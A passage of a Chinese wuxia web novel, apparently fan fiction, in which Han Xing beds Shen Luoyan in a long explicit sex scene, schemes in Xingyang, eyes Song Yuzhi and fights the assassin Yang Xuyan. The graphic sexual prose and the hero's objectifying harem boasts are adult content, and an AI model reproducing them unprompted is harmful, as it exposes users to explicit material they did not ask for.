看着因为娇羞而禁闭双眼的玉人那娇艳欲滴的模样,韩星的心跳得历害,手也在抖动,似乎不敢相信这么一个贪恋尘世的仙子将会与自己结合一般!
隔着那手工精致的肚兜,韩星轻轻地抚摸仙子的乳峰,觉得入手间如同触摸在一具温香软玉之上,滑腻,饱满而富有弹性。
沈落雁在朦胧中感到全身燥热,好象被火烧过一般难受,她的双手无意识的在韩星身上摸索着!
充满激情的爱抚让相互纠缠在一起的两人开始感到呼吸加速,有点口干舌燥。
韩星把手绕到沈落雁的粉背后面,打开肚兜的绳子,一手慢慢的脱下。当肚兜滑下至她香肩的那一刹那,丰-满的玉-峰挣脱了束缚,好象活过来一样抖动着弹跳而出,在空气中晃动着,跃然现于男人那充满欲-火的眼前。接着接着韩星又小心翼翼的除去半透明的亵裤。
刹那间,一具一丝不挂的迷人玉体便展现在韩星的眼前。只见那一身细腻无瑕的肌-肤白如雪,滑如脂,又因为经过了男人的亲抚而有点嫩嫩的粉红!
胸前一对高高耸立着的成熟椒乳丰-满挺拔,孤掌难握,两颗晶莹红嫩点缀在峰顶之上,散发出阵阵乳香,诱人之至;小腹没有一丝累赘,光洁如雪,又如和阗美玉,中嵌一颗玲珑小香脐;腰肢纤细轻柔,只堪一握,更显得臀部的丰盈圆浑!
而这各具特色的香玉组合在一起,构成了一具绝美绝伦的少妇胴体!
在这一刻,韩星再次为她的完美而失神。一想到可以肆意把玩甚至是蹂躏这具完美的身体,韩星就忍不住一阵亢奋。
韩星再也忍受不了那无可抗拒的诱惑,将手在她的小腹上来回轻揉,为她带来阵阵涟漪,并将脸俯下,用嘴在她的脸颊上轻轻地似吻非吻般的不断轻轻碰触着。双手缓慢但有力的的揉捏着她的饱满雪峰,嘴贴着她的耳边如梦呓般的说道:“好雁儿,你实在勾得夫君我的心都酥麻了。”
说着又重重的吻住她的樱唇。
“来,给夫君宽衣。”
韩星的声音有点沙哑了,他的分身几乎要炸开来。
闻言,沈落雁不得不张开禁闭的双眼,原本已经滚烫的脸颊更加红晕两人!她那双剪水杏眸瞪了他一眼,但是却轻轻的将压在自己身上的男人推开,然后撑起身来,一双雪白的柔荑在韩星的腰间摸索,寻找那束着他衣服的腰带!
韩星此时并没有多余的动作,而是静静看着眼前少妇的一举一动。她那雪白丰满的身体以及娇艳羞红的粉脸散发出阵阵成熟少妇的清香!
见沈落雁在自己的腰间来回摸索,就是找不到腰带的结端,韩星便握住她那如葱般的玉手,把它引向目的地!
随着几声衣服脱落的轻响,韩星那充满男性魅力的强壮身躯便展现在沈落雁眼前。
再次目睹着男性身体的沈落雁一阵头晕目眩,能被这么有魅力的男子占有,落雁实在太幸福了。
“宝贝,我要你!”
话毕,韩星一把将沈落雁压在身下,一口吻上了她开着的樱唇,舌头不断深入寻找销魂的香舌。两只魔爪上下其手,左右开弓,一边在她雪白修长的大腿及浑圆的臀部间不停游移,轻柔的抚摸,另一边则是占领了两座至耸云霄的雪山!
韩星分开了身下这个美妇她那白晰的如同羊脂美玉雕塑而成的雪白大腿,火热坚硬的列车在主人发出一声低吼后缓缓的进入到狭乍轨道上,一路向前迈进,加速的列车进入到了一个全新的世界,阴阳交感,男女相爱,走向那迷人的欢爱之中!
沈落雁低声地呻吟着,分开两腿夹住韩星,生涩的舞动着自己那成熟丰盈月的少妇胴体,韩星的每一记深入都让她感到天旋地转,好像进入了另一个充满快乐满足的世界,那样的狂暴,那样的快感,好像有一股电流流遍了她全身一般,让她颤抖不已!
沈落雁躺在韩星的身下,蠕动着她滚烫的胴体,温热的呼吸吹在他的颈间,娇喘呼呼,微微呻吟着。韩星的身体几乎上全都压在她的身上,他的魔爪捏住她坚硬突起的花蕾上用力揉捏着,抽插速度时快时慢。
韩星身子前倾,握着沈落雁如柳絮般的细腰。楚惊云的腰部随着一声声娇呼而有节奏的来回运动着!
在强烈的抽插之中,韩星伸出舌头,舔着她美丽的大眼、粉红的脸颊樱桃小嘴,舌头在身下的这一个美艳少妇的贝齿上来回舔动,下身也不忘做着活塞运动!
“啊……别、别那么……用力……嗯……”
沈落雁的身体还在不停的战抖,呻吟声也欲来欲大,两腿也自然的缠在韩星的虎腰两边。她的身体象火山喷发式的在发泄,剧烈的战抖着!
“舒服吗?”
韩星也非常的兴奋,把她的腿扛在肩膀上把所有的力量都集中在自己的分身上,拼命的抽插着!
“啪!啪!……”
一连串的肉体撞击声在房间之中荡漾着!
“啊……”
每当韩星的神龙深入到她的身体之中时,沈落雁的身体也在努力的配合,她的尖叫声已经被一种哮喘式的喘气声所代替。 这时的她已是香汗淋漓,韩星于是加快了进攻的节奏,不断抽插的同时我还不停用用舌头侵占那双娇嫩的花蕾!
韩星在她身上狂暴冲刺,嘴唇吻住了她的小嘴她,两手更是用力握住她一对乳房,不断地挤压推磨!
韩星在狂吻她小嘴的同时,神龙也不停向上挺进,那些淫水涓涓湿透他的长枪,他只知道疯狂地抽插,双手用力力握住她的乳房!
“嗯……啊……我……我好难受……嗯……快…快……快动……快啦……我……我已经受不了……啊……嗯……”
韩星听着她在耳边放浪的呻吟,将全身所有的体能都调集起来,将起伏的速度提到极限,紧紧的将她娇小的身躯抱住,每一下的冲击都要进入到最深处,好像想要把自己整个身体都融入她体内。
“喔……别、别这个样子!”
韩星忽然以玉女上树的姿势将沈落雁抱了起来,让她的双腿缠住自己的腰间,双手托着她的屁股不断地上下抛动!
“啊……嗯……要死啦……”
这样的一个姿势,使得沈落雁根本就没有活动的地方,只能够用自己的身体去承受有韩星一下比一下强烈迅猛的撞击抽插!她清晰地感觉到,自己的阴道之中被那灼热的异物填得慢慢的!
月亮悄悄的躲进了云端,似乎也为这男欢女爱而害羞。而在这静静的夜里,小小的卧室间却春意盎然,周谜娇躯紧绷,螓首乱摇,颦着秀眉声声颤哼,伴随着肉体相互撞击的声音而构成了人间最美妙的旋律。
看着沈落雁因欢爱而变得迷离的双眼,韩星兴奋不已,双手按在圣峰之上不断的揉搓着,柔软而滑腻的触感,如雪如霜的玉乳在韩星的大手下变幻着各种可爱的形状。
韩星轻轻的耸动着自己的下身,带动着身下的沈落雁走进了激情的最顶端!随着身体的一阵痉挛,两人纷纷到达了爱的高潮!
几番云雨后,韩星和沈落雁相拥温存着。
沈落雁忽然问起:“韩郎,你就不打算给我说说那个素素的事吗?”
韩星道:“你不都知道了吗?还要问?”
沈落雁白了他一眼,嗔道:“人家想要知道详细的,例如你什么时候到荣阳的,又是什么时候从翟让那里把那个素素弄到手的。”
韩星失笑道:“什么弄到手那么难听。素素入门可比你早,我们相遇前几个月,素素就已经是我的女人了。不过她非要回来荣阳一趟,跟翟让和翟娇道别,才迫不得已跟她分开了。”
沈落雁想不到事实竟是如此,不由得呆了一呆才幽幽的问道:“那你这次来完全是为了见她了?”
“说话怎么这么酸?”
韩星苦恼地摸摸后脑勺道:“怎么说呢?就算荣阳这里只有你没有她,我一样会来荣阳。”
他心里却有另一句话没说出来:“要是没有你只有她,我也一样会来。”
沈落雁还是不太乐意,又问:“那你是什么时候来到荣阳的。”
“跟小仲小陵同一天到的。”
韩星没有多说,因为他知道沈落雁一定早将双龙到来的时间查得清清楚楚。
“什么?”
沈落雁恍然道:“怪不得我总觉得这段时间你就在附近,我还以为是错觉。这一个多月你就没想过要来见我一面吗?”
韩星道:“那段时间因为素素的缘故,我名义上是站在翟让那边的,你认为那种时候我们适合见面吗?”
韩星说到了沈落雁的痛处,那时候两人站在了敌对立场,确实不适合见面。若二人见面,沈落雁要是忍不住向韩星试探翟让的虚实,那结果只有两个:一是韩星当场察觉然后提防起来,伤了二人感情。二是韩星中计了,但事后也必定能反应过来,到时就算韩星没有说什么,也势必让二人多了一层隔阂,一样会伤了二人感情。
沈落雁无法说韩星什么,因为韩星虽然名义上站在翟让一边,但他始终没有出手对付李密,就连翟让死的时候也没有出手,只是带着素素逃生。这样,沈落雁还能说韩星什么?韩星只不过没提供翟让的情报,沈落雁能怪他吗?怪他没有出卖翟让来讨好自己?要是韩星那样做了,沈落雁第一个看不起他。
当然,要是沈落雁知道韩星还是暗中阴了李密一把,让李密做了太监,估计就没有那么好说话了。
见沈落雁沉默下来,韩星不想破坏二人温馨的气氛,换了个话题道:“我明天还有事要出去办,素素武功不好,我怕她被人发现,这段时间你帮我照顾她吧。对了,她现在就藏在落雁庄的客房里。”
沈落雁感激的看了韩星一眼,又问道:“你就不怕我因妒成恨,来个借刀杀人吗?”
韩星笑了笑道:“一,我不是笨蛋。二,你也不是笨蛋。”
沈落雁明白韩星的意思:韩星不是笨蛋,要是沈落雁真这么做了,韩星肯定能够猜到是她做的。沈落雁不是笨蛋,肯定不会做这种没有任何好处,只会破坏二人感情的事。
沈落雁又问:“那你怎么不干脆今晚就把她带过来?”
韩星反问:“你确认希望我们就别重逢的时候,有第三个人在?”……
这个晚上,便在谈笑中过去。
第二天一早,韩星便把素素接到沈落雁的闺房。素素很明白事理,知道各为其主的道理,并没有因为沈落雁帮李密对付翟让就对她有偏见。只是一开始对沈落雁的信任有点保留,但见韩星这么信任沈落雁后,也就放下对她的警惕。
两女互相认识一番后,沈落雁便替二人张罗食物。待二人吃饱后,沈落雁便把韩星撵出房外,与素素单独谈了一会,韩星也没有偷听,只知道她们谈完后相处得不错,并以姐妹相称。
沈落雁沉吟道:“我今天要迎接一个客人,要用到西面的客房,素妹这段时间就在我的房间躲着吧,我叮嘱下人不能进我的房间应该没什么问题。等过段时间,风声过去了,我才安排你们出去。”
韩星笑嘿嘿的道:“那我也躲在你的房间好了,到了晚上,你们就两个一起陪我。”
“大哥……”
素素面红娇嗔一声,她跟沈落雁还不熟,想不到韩星已经打起让她和沈落雁一起侍枕的念头了,这人多不好意思。
沈落雁面皮要比素素厚一点,骂道:“以你的武功躲到那里还不是一样,用得着躲到我房间吗?”
韩星笑嘿嘿的道:“话虽如此,不过自从昨天在雁儿的香床上睡了一觉后,发觉已经有点爱上你的床了。”
沈落雁大嗔道:“你是存心要羞死我吗?素妹还在哩。”
而素素则忍不住用眼角瞄了几眼那被铺,不过那里的犯罪证据早被沈落雁收拾得干干净净,什么也看不到。


404
荥阳城。
大雪。
韩星大摇大摆的走在荣阳铺了层厚雪的街道上,一点也不怕被人认出,事实上此时就算双龙看到他也认不出。韩星此时不止相貌完全改变了,气质自然也照例地改变了,最重要是他的身高变矮了寸许。人要让自己看起来高一点很简单,只要在脚跟垫些东西就行,但要让自己便矮就难了,韩星也是靠着缩骨功才做到这点。
沈落雁之前听韩星要外出办事,本来是有点担心的,但看到韩星的变装后,也断言没人能认出此时的韩星。也是,相貌身高气质完全改变了,甚至连气息都隐藏了,谁还能认出他。
不多时,韩星便走到一间绸缎铺,买了匹上等布料,便带着这匹缎锦向着黛青楼走去。
此时,黛青楼尚未启门迎客,韩星便“砰!砰!砰!”
的敲响了黛青楼的大门,喊道:“送缎锦的来了!”
一名大汉把大门推开少许,问道:“什么事?”
韩星把布匹送到大汉手上,道:“这上等绸缎是一位公子托我送给佩佩姑娘的。”
说完便头也不回的冒雪走了。
大汉愕然片晌,才捧着缎锦走回屋去,却不知道韩星一转角,便潜入了黛青楼前院其中一间小楼的无人厢房内。
韩星俯伏地板上,贴耳细听楼下的动静。
只听一女子问道:“何福!什么事?”
何福应道:“真奇怪!有人送了一匹上等绸缎来,指明要给老板娘。”
女人道:“这事确是奇怪,老板娘已经很久没有亲身招呼客人,竟还有人来讨好她。先放在她那里,待她回来后再说吧!”
韩星无惊无险地跟着这个女人来到老板娘佩佩的房舍,避过了前厅的两个小婢,躲进她香闺之内。
不多时,足音自远而近,接着是外厅两名小婢齐声道:“夫人回来哩!”
一个略带冷漠、深沉的女音道:“这是什么东西?”
其中一婢答道:“不知是谁买了一匹绸缎,遣人送来,指明是给夫人的。此事已通知了云娘。”
佩佩默然片晌,平静地道:“你们去给我叫云娘来。”
两女婢应命去了。
韩星一见只剩下佩佩一人,立刻打开了房门,将她制住掳入房间。
佩佩是个半老的鸨婆,但可以从她的轮廓看出,其年轻时应该颇有姿色。韩星在房间内等她的时候已经撕开了人皮面具,并回复原来身高。所以佩佩立刻认出韩星,却因为被韩星制住了穴道而不能发出任何声音,只得用讨好的眼神看着韩星。
韩星冷冷的道:“告诉香玉山,我们会依约去江都,若他还想合作就在阳武等我们。若他想暗算我,我亦乐意奉陪。”
说完便头也不回地离开了房间,一闪身便从佩佩的视线中消失了。
不多时,那个云娘便领着两女婢来到,一见佩佩像个木头人那样呆呆的站在房内,不断用眼睛向三人示意。
那个云娘立刻明白佩佩被人点了穴,立刻找那个叫何福的护院为佩佩解了穴道。
佩佩遣走了两婢和护院后,不待云娘相问便恨声道:“韩星刚刚来过。”
云娘问道:“他找你做什么?”
佩佩摇摇头道:“没什么,就是让我给香少爷传几句话而已。那布应该就是韩星送来的,用的投石问路手法,把我找出来。外间还传言韩星多情,想不到一点都不知道怜香惜玉,一来就把我制住,一句话都不让我说。”
“你早年老色衰了,韩星哪还会对你怜香惜玉。”
云娘心里暗笑着,又道:“那我们该怎么办,难道还要助他们出城?徐世绩正全力搜索他们的下落,他之前才传话,指明若我巴陵帮敢管此事的话,便不会客气。所以我们可不能沾手啊。”
佩佩摇头道:“不需要,他刚刚根本没提要我们帮他出城的事,还自己慢慢的要我通知香少爷,他回去江都。想来他有足够信心,能安全离开荣阳。”
云娘怨道:“今趟被香少爷害死哩!这件事肯定会传到瓦岗军那里,开罪了瓦岗军,怎还可在荥阳立足呢?”
佩佩道:“韩星只要我们传话,没说不准我们对瓦岗军报告此事,只要乖乖的与徐世绩合作就不会有事,香少爷那里我去联络,你去向徐世绩报告此事。”
言罢出门去了。
她们还不知道,韩星其实并未走远,把她们的话听得一清二楚,不过也只是露出不置可否的笑容,懒得找这两个女人晦气。又戴上另一个人皮面具,展开身法往沈落雁的居所掠去。
回到清幽雅静的沈宅,韩星陪着素素到了入黑时分,沈府燃亮了宅内所有宫灯,前后院明如白昼。
这时,前院隐隐传来马嘶人声。
韩星知道应是沈落雁带着她说的那个客人来了,心生好奇便打算一看究竟。素素本想着多一事不如小一事,劝韩星不要去,但那里说得过韩星,还被韩星拉着一起去。
韩星和素素躲到前院一个暗处,不多时便传来走动的声音。二人往声音的方向瞧过去,首先映入眼帘的是风姿绰约的沈落雁,旋则目光被她旁边的妙龄女子吸引过去。
这女子乍看似乎不是长得太美,这或者是因为她的轮廓予人有点阳刚的味道,可是她的肌-肤白里透红有一种普通女孩子所没有的健康之色,只见她微微一笑之下,明眸皓齿,唇红如樱,身上更有一种极动人的高贵气质,腿长腰细,比沈落雁尚要高出两寸,明眸皓齿,所有这些条件配合起来,竟毫不给沈落雁比下去,形成非常独特的气质。
韩星心神一恍,已经隐约猜到此女的身份。
只见沈落雁领着那长相刚健动人的妙龄女子,并肩来到屋外的小花园里,前者介绍道:“落雁最爱看到果实累累的情景,所以植的大都是果树。”
女子赞道:“雁姐真有心思,谁想得到在深巷之中,竟有这等人间胜境?”
沈落雁谦虚道:“玉致莫要笑我,你们宋家的槐园名列武林十大胜境之一,怎是我这小窝能够比拟的?”
沈落雁的话证实了韩星的猜测,这个爽健硬朗的美女就是宋玉华的妹妹宋玉致。其实宋玉致跟宋玉华有五六分相似,她们最大的分别便是宋玉华给人一种婉约的感觉,而宋玉致却给人一种偏向刚阳的感觉。
“玉华的妹妹啊,走之前一定要跟这个小姨子见个面才行,好让她知道她还有我这个姐夫才行。”
韩星心中已经冒出无数邪恶的念头:“娥皇女英姐妹双飞是肯定的,让她们玩玩百合也是必须的……”
素素忽觉颈脖处凉浸浸的,回头一看,原来韩星已经流出些口水出来。素素不由得有些无语,知道韩星已是看上这个爽健硬朗的美女,不过她忽然想起韩星那天在客栈里发的毒誓,也就释然了。
两女停步下来,欣赏树上的冰卦。
宋玉致淡淡道:“今趟玉致来访,以雁姐的才智,当猜到一二吧?”
沈落雁沉吟道:”
不知是否与宇文化及在那昏君前造谣生事有关呢?”
宋玉致笑道:“早知瞒不过雁姐,不过这只是其中一个原因。”
沈落雁油然道:“那么另一个原因,该与杜伏威有关,听说他攻占历阳后,截断了长江水道的交通,肆意抢掠来往船只,谁都不卖人情,据我们的消息,最近他们扣起了你们的三条盐船哩!是否真有这回事呢?”
宋玉致淡然道:“雁姐的消息真灵通,难怪这么得密公倚重!”
沈落雁侧头叹道:“我真不明白杜伏威的脑袋里装的是什么东西,在杨广大军源源进驻江东的时刻,还胆敢树立像贵阀那种强敌,他怕是活得不耐烦了?”
长江盐运乃宋阀命脉所在,杜伏威这么抢截盐船,大大威胁宋阀的威望和生计。故而宋阀特派出来玉致,希望能连结李密,好以南北联手之势,夹击雄据历阳以杜伏威、辅公佑为首的江淮军。
不过现在瓦岗军刚生内讧,李密又被韩星阴了一回,没一个月时间都休想痊愈,只怕无暇他顾。
宋玉致微笑道:“杜伏威想是逼不得已,却不该惹到我宋家来,我们三番四次向杜辅两人交涉,均不得要领,家父为此震怒非常,决定不惜一切,都要好好教训杜伏威,但却因不知密公意向,才派出玉致前来谒见密公。”
沈落雁落雁叹了一口气道:“玉致该知我们一向与江淮军互相顾忌……”
宋玉致打断她道:“我们新近得到消息,江淮军自进占历阳后,竟按兵不动,只是不断巩固所占土地,实是用心叵测,雁姐可有耳闻?”
沈落雁道:“玉致是否指杜伏威希望杨广能稍喘一口气,可分神来对付我们呢?”
宋玉致淡淡道:“只此一项,尚未足以使场广全力对付你们。”……
两人又交谈一番后,宋玉致便回到沈落雁为她准备的客房。
独处的宋玉致立刻没了原来那淡然的样子,事实上她早已厌烦到了极点,她这趟来还有联姻的意思。她最恨大阀之间为了利益的联姻,特别是她的姐姐宋玉华嫁给了毫无感情的巴蜀少主解文龙之后,她就更是讨厌这种联姻。宋玉华并不是嫁给解文龙,而是嫁给了巴蜀势力。
作为一个大阀里的女子,虽然生活无忧,可是她们有些地方却比普通女人更加悲惨,她们一辈子也没有办法支配自己的生命,什么东西都不属于自己。她们的生死,都是为了整一个大家族的利益。
虽然父亲远比普通人更加疼爱自己,可是并不会因为这样,而想过任自己挑选一个合意的夫婿。自己未来的夫婿,必定是他的指派,必定是为了整一个宋家的利益而嫁。这一点,在宋玉华远嫁巴蜀之时,她就不再抱有奢望了。
难道,自己也有像玉华姐姐一样,嫁给一个有名无实的解文龙那样的夫婿日日独守空房?宋玉致心里幽幽的想着。


405
韩星带着素素回到沈落雁的闺房,素素忽然问起:“大哥,那我们什么时候走?”
虽然有沈落雁的庇护,但留在荣阳还是让素素很没安全感,而且跟翟娇道别的心愿已经完了。剩下来的日子,她只希望作为韩星的小娇妻,安安稳稳的过些小日子。
这时,沈落雁刚刚好来到门外,听见了素素的问话,不由驻足倾听起来。
韩星耳朵一动,已经知道沈落雁就在门外,说道:“不说好了吗?要等风声稍平息些,而且我也想在这里多陪雁儿两天!我离开瓦岗后,恐怕又要等很久才能跟她见面,而且下次见面搞不好还要以敌人身份见面,所以我想趁着这个时候多陪她一下。”
沈落雁听了这话,心里不知是酸还是甜,她确实很怕会跟韩星已敌人身份见面,但韩星想跟自己多相处一段时间又让她觉得很是甜蜜。
韩星吻了一下素素光洁的小额头,故意问道:“为什么你好像总是急着离开,是不是……你不喜欢雁儿?”
沈落雁一听韩星的问题,不由自主地贴近房门,想听听素素的真实想法。
“没有啦!”
素素从来就不是爱搬弄是非的女子,摇摇头道:“我只是因为李密还在追捕我们,我总觉得留在荣阳始终不是太安全而已。”
沈落雁听到素素的问答,心中一舒,心里对这个心思单纯的妹子多了几分好感,或许自己也该真心结交。
房间内的韩星笑了笑,他早知素素会这样回答,虽然今天早上沈落雁好像对素素很亲热的样子,但韩星知道那不过是假象。女人之间的感情总是来得很快,但也很假,不过经过韩星将心思单纯的素素心里真是想法引了出来,让心性多疑的沈落雁听了后,想来沈落雁也会真心喜欢上心思单纯的素素。
沈落雁本身是狡猾多智,行事不择手段的人,平时总是对那些心思单纯的人抱以不屑的态度,然而她自己也没有发觉,她心底里其实最喜欢这种人。就像原著里,她喜欢心思更为正直单纯的徐子陵,多过油滑而玩世不恭的寇仲。一个人骗人多了,也会渐渐害怕被人骗,这种时候只有跟那些心思单纯的人相处,才会让他们更有安全感。就像《天下无贼》里刘德华和刘若英所扮的两个贼王,先后喜欢上心思单纯的傻根一样。
这时,素素又问:“大哥为什么不劝雁姐跟我们一起离开呢?这样你们就能一直在一起了。”
韩星摇头道:“她有她自己的理想,她现在还想留在这里辅助李密那个老王八。虽然我觉得李密八成成不了大业,没什么好辅助的,不过这是雁儿的理想,我们应该尊重她的理想。”
“理想?”
素素有点无法理解沈落雁的理想,在她看来一个女人能嫁一个如意郎君,然后相夫教子安安稳稳过一辈子就已经是最大的理想了。
韩星道:“雁儿有才华有学识,她是不会甘心自己一身才学凭白浪费的,所有有识之士都渴望有一个能一展才华的舞台。而辅助李密争霸,就是让雁儿的才智得到最好发挥的舞台,这样才不负她一身所学。”
外面的沈落雁心里大叫着:韩郎真是我的知己啊!
“那大哥呢?”
素素又问:“大哥一身才学武功更胜雁姐,应该有更大的理想才对吧。”
韩星笑道:“当然了!我的理想可大了。嘿!我的理想就是用一身才学武功打下一个大大的后宫,把全天下得美女都追到手。”
素素没好气道:“大哥,你又在开玩笑了?”
韩星含笑道:“当然不是开玩笑了,没听过男人征服世界就是为了征服女人吗?我只不过比他们直接一点而已。嘿!话说回来,我们多久没亲热过了,有好几天了吧。”
素素感受到韩星在她娇躯上使坏的大手,俏脸绯红了起来,潮湿的眼睛开始迷离起来,她轻轻地吻着他的唇,如蜻蜓点水般,檀口中微微带着气息,不依地道:“不要,雁姐不知道什么时候回来的,被她看到要笑话人家的。”
“那不如我现在就把雁儿找回来,让你们一起陪我睡觉吧。”
韩星说着不等素素回答,便像风儿似的冲出房门。
房外的沈落雁暗叫一声不好,刚要离开,便已被韩星抱入怀中。
韩星笑道:“我的雁儿偷听到多少了?”
“什么偷听,人家什么都不知道。”
沈落雁装愣扮傻的道。
这时,素素探头出来,让沈落雁小脸不由有些飞红,微微挣扎一下,看见没有挣开,那美目不由嗔了韩星一眼,道:“快放开我,素妹看着哩。”
又向着素素道:“素妹,我有点饿了,你到厨房给我弄点吃的好吗?放心吧,屋里的下人都不认得你,今天又来了些客人,她们会以为你是客人的吓人,没人会觉得奇怪的。”
素素也怕了韩星真的要跟她们两个一起亲热,害羞的出去了。
韩星没有阻止素素离开,笑着将沈落雁抱入房中。
沈落雁一看韩星眼光光地看着自己,不由心砰砰乱跳,小脸一阵发烧,身体在他大力的拥抱下不安地扭动了两下,嗔道:“大坏蛋,你难道就不能稍稍正经一些吗?怎么一天到晚就光想那件事呢?噢……坏蛋,快放手,素素她很快就会回来的……”
“在她回来之前,我会放手的。”
韩星轻轻亲着她那洁玉般的小脸,呵着热气道。
等素素捧着热气腾腾的晚餐进来,沈落雁早变成了一个软面美人,软倒在韩星的怀里。她一看素素进来,小脸更是通红,虽然跟素素在微笑打招呼,可是小手却偷偷地在掐着韩星的手臂,大为嗔怪他让自己如此失礼。
沈落雁又向韩星问道:“大坏蛋,我老实给你说,其实我随时都能把你送出荣阳,你想留到什么时候?”
韩星笑道:“你刚刚不都在外面听到了吗。”
“人家想要个清楚的答案嘛。”
沈落雁间接承认她刚刚就在房外。
“韩大哥说他以后会很忙,想留下来多陪雁儿姐姐你一些日子。”
素素为沈落雁解围道:“而且我……我也有些害怕,不敢出去。”
“素妹你何必为他辩护,我知道你早就想走了,只是这个小冤家不想走罢了。”
沈落雁微微叹了一口气,带点古怪的笑意道:“韩郎,你还想干什么?你留在荣阳应该已经没什么事了才对,你是不是知道宋阀的宋大小姐来了,想追那个小美人啊?”
韩星辩解道:“怎么会?我可不知道什么宋家大小姐,我可是为了多陪雁儿才决定多留几天的。”
沈落雁娇嗔道:“雁儿才不信哩,刚刚在前院人家就感应到你就在附近,况且雁儿早就知道你这坏痞花心得很,去到那里都有美女相陪。”
素素也道:“大哥,你先前看到那个宋家大小姐,口水都流出来哩。”
“胡说!”
韩星断然道:“我那口水是为雁儿和素素而流的,才不是为了那个不知从那里冒出来的野丫头流的。”
沈落雁吃吃的笑道:“将来要是玉致做了我们姐妹,我把这句话一定原封不动告诉她。看她怎么收拾你。”
韩星没好气道:“你怎么好像已经把她当情敌看待的样子,就算我真的去追她,她也未必会看得上我好不好?”
沈落雁和素素同时摇头,沈落雁道:“我之前就跟宋玉致有过几次交往,比你清楚她是什么人?”
“她是什么人?”
韩星问。
“她是一个女人!”
沈落雁哼道:“只要她是个女的,看了你的这张脸,难保就不会不动心。”
“大哥你是长得越来越好看了。”
素素眼里尽是小星星,她相当同意地道。
“好看是用来形容女孩子的好不好?”
韩星头疼道:“你们的意思是我是因为长得还行,所以你们才会喜欢我的?你们难道不是喜欢我这个人更多一点的吗?”
“不。”
两女齐声道:“人喜欢,不过脸也喜欢。”
“既然那么喜欢,那你们就一起陪我睡一觉吧。”
韩星忽然改变话题,将两女按倒在床上,不顾两女不住的娇呼着不依,在两女的身上大呈手足之欲。
两女敌不过韩星那无处不在的挑-逗,身子逐渐泛软,享受起韩星的爱-抚和亲吻。
韩星暗叫得计,正要将两女正法的时候,魔种忽然感应到一股无形的压力,让韩星感觉到很不舒服。韩星知道这是危险来临前的预兆,停下对两女的挑-逗。
沈落雁见韩星神色有异,问道:“韩郎,怎么了?”
韩星淡淡道:“有刺客。而且这个刺客轻功相当之高,居然可以瞒过我的耳朵,可惜却瞒不过我的感应。”
“影子刺客?”
沈落雁低呼一声。
韩星点头道:“我想也是,这人不是你能应付的,你留在这里,我去对付他。我也无把握能在不惊动任何人的情况下击败他,你要准备好应对任何情况。”
韩星说完推门而出,沿着魔种的感应,来到沈落雁香闺外的小厅子。
小厅一片漆黑,韩星的精神倏地提升至极限,真气充盈经脉,毫不犹豫地掣出一柄软剑。
厅堂立时明亮起来。
那并非有人燃点灯火,而是韩星在体内真气运转下,目力骤然以倍数的增强。他目光扫视下,连地上经打扫后仍留着的尘屑遗痕都逃不过他的锐目。
当韩星目光细心在地板上巡视时,登时发现原来地板上隐现两点几是微不可察的尘痕,似乎是有人以足尖点地,从小厅掠了出房的样子。
韩星运起的魔种却偏是再感应不到那股危险的感觉,这只有两种可能,一是对方怕了自己已经撤退了,二是对方察觉到自己能感应杀气,故意隐藏了自己的杀气。
对方未必就认得自己,所以把对方吓跑的可能性不大,那最大的可能性自然就是对方隐藏起来了。


406
杨虚彦确实只是隐藏到屋外监察着这个对手,他这次来的目的是要刺杀沈落雁,好为隋军攻打瓦岗军的老巢作先声夺人的一击。不过现在他的目标已经转向韩星,当然他还不知道对手是韩星,他只是见来人竟可察觉到自己微弱的杀气,并且以他惊人的听觉竟一直到韩星进入小厅才察觉到,心中断定韩星必非普通人物。
他本身并非心胸狭窄又或忌才之人,只因误会韩星是瓦岗的人,并且认为以韩星这样的武功在瓦岗的地位必定不低,说不定比刺杀沈落雁更有价值,才改变刺杀目标。
这时,一股强大的气势自韩星身体散发而出,杨虚彦知道韩星调整自己的精气神达到最佳状态,同时也在凝聚功力,那是一股庞大得让他恐惧的功力。
为什么?为什么他现在就凝聚功力?是不是他发现了我?杨虚彦心中恐惧的想着。练武之人是不会凭白无故的就将自己的精气神调整到最佳状态,要知道那样做是极耗心力的。
长时间维持精气神高度提升的状态,却又没有对手可以宣泄那股压力,那很快就会疲累,同时在短时间之内很难回复到那种最佳状态。所以杨虚彦很奇怪韩星为什么会凭白无故地提升自己的精气神,而这股功力又给杨虚彦极大的压力,甚至让杨虚彦质疑起自己的隐匿能力。
不行!不能再让他提升下去了,否则我将连他一招都接不下!
杨虚彦终于忍受不了,在韩星全力施为的压力和强劲的气势催迫下,决定立刻进攻,以免他将功力提至极限时,被绞成粉碎。
杨虚彦不发则已一发惊人,冲窗而入,以鬼魅般得身法掠向韩星。
韩星冷冷一笑,终于忍不住了吗?
杨虚彦自小学习刺杀之术,隐匿之术自然是其主修科目,他有心隐藏的时候呼吸转入先天内息,而心跳更是慢到几分钟都不跳一下。韩星根本不知道他隐藏在那里,不过他却从空气中隐没的些许危险的气味里,断定杨虚彦必定就在附近隐匿着。于是韩星干脆提升魔种的功力,以魔种的气机引他现身,用以力破巧的方法,破了其神出鬼没的刺杀之术,将杨虚彦身为刺客最大的优势破解。
杨虚彦手中的影子剑化作无数剑芒,向韩星刺去,四面八方尽是呼啸的剑影芒光,虚实难测。
韩星知道对方的剑法乍眼看去好像很可怕,但真正的杀着其实是正朝自己下腹处闪电般攻来的一剑。韩星淡淡一笑,不疾不徐的刺出一剑,当他的软剑与刺向自己下腹要害处影子剑一触,漫天的剑芒瞬间消失。
内劲通过影子剑传入手腕,杨虚彦如遭雷击,只此一击他便明白自己绝不是眼前之人的对手。这时他脑海里电光的闪过一些想法:既然自己害怕了,为什么不干脆一开始就直接逃跑呢?身为刺客,他早就习惯了一击不中立刻远遁,逃跑对于一个杀手来说从来不是件丢脸的事,所以他根本不需要担心一逃跑就会留下破绽之类的。他并不知道这都是韩星魔种气机牵引的效果,让敌人心生恐惧无法冷静下来,胡乱出手,正是魔种的可怕之处。
杨虚彦终非常人,这些想法只是一闪而过,他已经知道自己绝不是眼前之人的对手,所以决定立刻远遁。幻魔身法全面展开,弹起、后退、闪移连串复杂的动作,在刹眼间完成,消失在房间之中。
然而当杨虚彦冲出窗外时,便见韩星从自己右边掠过,而且他的神态看起来相当悠闲,浑不似自己那般拼尽全力。最让杨虚彦吃惊的是,韩星使用的竟也是幻魔身法。
“你是什么人?为什么会使幻魔身法?”
杨虚彦惊疑不定的问道。
“头戴绿帽心理变态‘邪王’石之轩正是区区在下,你又是什么人,为什么对懂我创的幻魔身法?嗯,一定是我的崇拜者吧。来,叔叔现在就给你签名。”
韩星笑嘿嘿的胡扯着。
